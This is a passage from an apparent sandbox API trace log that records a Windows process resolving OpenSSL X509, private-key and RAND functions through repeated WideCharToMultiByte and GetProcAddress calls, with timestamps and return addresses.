lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d2i_X509_NAME", lpUsedDefaultChar=0x0) returned 13 [0113.369] GetProcAddress (hModule=0x11000000, lpProcName="d2i_X509_NAME") returned 0x11083010 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i2d_X509_NAME", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i2d_X509_NAME", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i2d_X509_NAME", lpUsedDefaultChar=0x0) returned 13 [0113.369] GetProcAddress (hModule=0x11000000, lpProcName="i2d_X509_NAME") returned 0x11083030 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_oneline", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0113.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_oneline", cchWideChar=17, lpMultiByteStr=0x80849c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_NAME_oneline", lpUsedDefaultChar=0x0) returned 17 [0113.370] GetProcAddress (hModule=0x11000000, lpProcName="X509_NAME_oneline") returned 0x11099e80 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_cmp", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_cmp", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_NAME_cmp", lpUsedDefaultChar=0x0) returned 13 [0113.370] GetProcAddress (hModule=0x11000000, lpProcName="X509_NAME_cmp") returned 0x11099610 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_hash", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_NAME_hash", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_NAME_hash", lpUsedDefaultChar=0x0) returned 14 [0113.370] GetProcAddress (hModule=0x11000000, lpProcName="X509_NAME_hash") returned 0x110996e0 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_set_issuer_name", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_set_issuer_name", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_set_issuer_name", lpUsedDefaultChar=0x0) returned 20 [0113.370] GetProcAddress (hModule=0x11000000, lpProcName="X509_set_issuer_name") returned 0x1109d790 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_get_issuer_name", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_get_issuer_name", cchWideChar=20, lpMultiByteStr=0x80849c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_get_issuer_name", lpUsedDefaultChar=0x0) returned 20 [0113.370] GetProcAddress (hModule=0x11000000, lpProcName="X509_get_issuer_name") returned 0x110994d0 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_set_subject_name", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_set_subject_name", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_set_subject_name", lpUsedDefaultChar=0x0) returned 21 [0113.371] GetProcAddress (hModule=0x11000000, lpProcName="X509_set_subject_name") returned 0x1109d7b0 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_get_subject_name", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_get_subject_name", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_get_subject_name", lpUsedDefaultChar=0x0) returned 21 [0113.371] GetProcAddress (hModule=0x11000000, lpProcName="X509_get_subject_name") returned 0x110994e0 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_digest", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_digest", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_digest", lpUsedDefaultChar=0x0) returned 11 [0113.371] GetProcAddress (hModule=0x11000000, lpProcName="X509_digest") returned 0x110a0930 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_LOOKUP_ctrl", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_LOOKUP_ctrl", cchWideChar=16, lpMultiByteStr=0x80849c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_LOOKUP_ctrl", lpUsedDefaultChar=0x0) returned 16 [0113.371] GetProcAddress (hModule=0x11000000, lpProcName="X509_LOOKUP_ctrl") returned 0x1109f150 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_cert", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_cert", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_add_cert", lpUsedDefaultChar=0x0) returned 19 [0113.371] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_add_cert") returned 0x1109f9b0 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_crl", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_crl", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_add_crl", lpUsedDefaultChar=0x0) returned 18 [0113.372] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_add_crl") returned 0x1109faa0 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_ex_data", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_ex_data", cchWideChar=26, lpMultiByteStr=0x80f81c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_CTX_get_ex_data", lpUsedDefaultChar=0x0) returned 26 [0113.372] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_CTX_get_ex_data") returned 0x1109bcb0 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_error", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_error", cchWideChar=24, lpMultiByteStr=0x80f81c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_CTX_get_error", lpUsedDefaultChar=0x0) returned 24 [0113.372] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_CTX_get_error") returned 0x1109bcc0 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_set_error", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_set_error", cchWideChar=24, lpMultiByteStr=0x80f81c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_CTX_set_error", lpUsedDefaultChar=0x0) returned 24 [0113.372] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_CTX_set_error") returned 0x1109bcd0 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_error_depth", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_error_depth", cchWideChar=30, lpMultiByteStr=0x80f81c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_CTX_get_error_depth", lpUsedDefaultChar=0x0) returned 30 [0113.372] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_CTX_get_error_depth") returned 0x1109bce0 [0113.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_current_cert", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_CTX_get_current_cert", cchWideChar=31, lpMultiByteStr=0x80f81c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_CTX_get_current_cert", lpUsedDefaultChar=0x0) returned 31 [0113.373] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_CTX_get_current_cert") returned 0x1109bcf0 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_lookup", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_add_lookup", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_add_lookup", lpUsedDefaultChar=0x0) returned 21 [0113.373] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_add_lookup") returned 0x1109f450 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_load_locations", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_STORE_load_locations", cchWideChar=25, lpMultiByteStr=0x80f81c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_STORE_load_locations", lpUsedDefaultChar=0x0) returned 25 [0113.373] GetProcAddress (hModule=0x11000000, lpProcName="X509_STORE_load_locations") returned 0x110991e0 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i2d_DSAPrivateKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i2d_DSAPrivateKey", cchWideChar=17, lpMultiByteStr=0x80849c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i2d_DSAPrivateKey", lpUsedDefaultChar=0x0) returned 17 [0113.373] GetProcAddress (hModule=0x11000000, lpProcName="i2d_DSAPrivateKey") returned 0x1104b840 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_DSAPrivateKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_DSAPrivateKey", cchWideChar=17, lpMultiByteStr=0x80849c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d2i_DSAPrivateKey", lpUsedDefaultChar=0x0) returned 17 [0113.373] GetProcAddress (hModule=0x11000000, lpProcName="d2i_DSAPrivateKey") returned 0x1104b820 [0113.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_PrivateKey", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_PrivateKey", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d2i_PrivateKey", lpUsedDefaultChar=0x0) returned 14 [0113.374] GetProcAddress (hModule=0x11000000, lpProcName="d2i_PrivateKey") returned 0x11084e40 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_PrivateKey_bio", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d2i_PrivateKey_bio", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d2i_PrivateKey_bio", lpUsedDefaultChar=0x0) returned 18 [0113.374] GetProcAddress (hModule=0x11000000, lpProcName="d2i_PrivateKey_bio") returned 0x110a0c40 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_sign", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_sign", cchWideChar=9, lpMultiByteStr=0x7f2f6c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_sign", lpUsedDefaultChar=0x0) returned 9 [0113.374] GetProcAddress (hModule=0x11000000, lpProcName="X509_sign") returned 0x110a01c0 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_REQ_sign", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_REQ_sign", cchWideChar=13, lpMultiByteStr=0x7f2f6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_REQ_sign", lpUsedDefaultChar=0x0) returned 13 [0113.374] GetProcAddress (hModule=0x11000000, lpProcName="X509_REQ_sign") returned 0x110a0250 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_REQ_add_extensions", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_REQ_add_extensions", cchWideChar=23, lpMultiByteStr=0x80849c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_REQ_add_extensions", lpUsedDefaultChar=0x0) returned 23 [0113.374] GetProcAddress (hModule=0x11000000, lpProcName="X509_REQ_add_extensions") returned 0x1109a520 [0113.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509V3_EXT_conf_nid", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509V3_EXT_conf_nid", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509V3_EXT_conf_nid", lpUsedDefaultChar=0x0) returned 19 [0113.375] GetProcAddress (hModule=0x11000000, lpProcName="X509V3_EXT_conf_nid") returned 0x110a3910 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_EXTENSION_create_by_NID", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_EXTENSION_create_by_NID", cchWideChar=28, lpMultiByteStr=0x80f81c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_EXTENSION_create_by_NID", lpUsedDefaultChar=0x0) returned 28 [0113.375] GetProcAddress (hModule=0x11000000, lpProcName="X509_EXTENSION_create_by_NID") returned 0x1109e530 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509V3_set_ctx", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509V3_set_ctx", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509V3_set_ctx", lpUsedDefaultChar=0x0) returned 14 [0113.375] GetProcAddress (hModule=0x11000000, lpProcName="X509V3_set_ctx") returned 0x110a32e0 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_EXTENSION_free", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_EXTENSION_free", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_EXTENSION_free", lpUsedDefaultChar=0x0) returned 19 [0113.375] GetProcAddress (hModule=0x11000000, lpProcName="X509_EXTENSION_free") returned 0x1108d080 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_add_ext", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_add_ext", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_add_ext", lpUsedDefaultChar=0x0) returned 12 [0113.375] GetProcAddress (hModule=0x11000000, lpProcName="X509_add_ext") returned 0x1109e760 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_print", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="X509_print", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X509_print", lpUsedDefaultChar=0x0) returned 10 [0113.376] GetProcAddress (hModule=0x11000000, lpProcName="X509_print") returned 0x110864a0 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_cleanup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_cleanup", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_cleanup", lpUsedDefaultChar=0x0) returned 12 [0113.376] GetProcAddress (hModule=0x11000000, lpProcName="RAND_cleanup") returned 0x1106b4e0 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_bytes", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_bytes", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_bytes", lpUsedDefaultChar=0x0) returned 10 [0113.376] GetProcAddress (hModule=0x11000000, lpProcName="RAND_bytes") returned 0x1106b620 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_pseudo_bytes", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_pseudo_bytes", cchWideChar=17, lpMultiByteStr=0x80849c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_pseudo_bytes", lpUsedDefaultChar=0x0) returned 17 [0113.376] GetProcAddress (hModule=0x11000000, lpProcName="RAND_pseudo_bytes") returned 0x1106b680 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_seed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0113.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_seed", cchWideChar=9, lpMultiByteStr=0x7f2f6c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_seed", lpUsedDefaultChar=0x0) returned 9 [0113.376] GetProcAddress (hModule=0x11000000, lpProcName="RAND_seed") returned 0x1106b560 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_add", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_add", cchWideChar=8, lpMultiByteStr=0x7f2f6c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_add", lpUsedDefaultChar=0x0) returned 8 [0113.377] GetProcAddress (hModule=0x11000000, lpProcName="RAND_add") returned 0x1106b5b0 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_status", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_status", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_status", lpUsedDefaultChar=0x0) returned 11 [0113.377] GetProcAddress (hModule=0x11000000, lpProcName="RAND_status") returned 0x1106b6e0 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_screen", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_screen", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 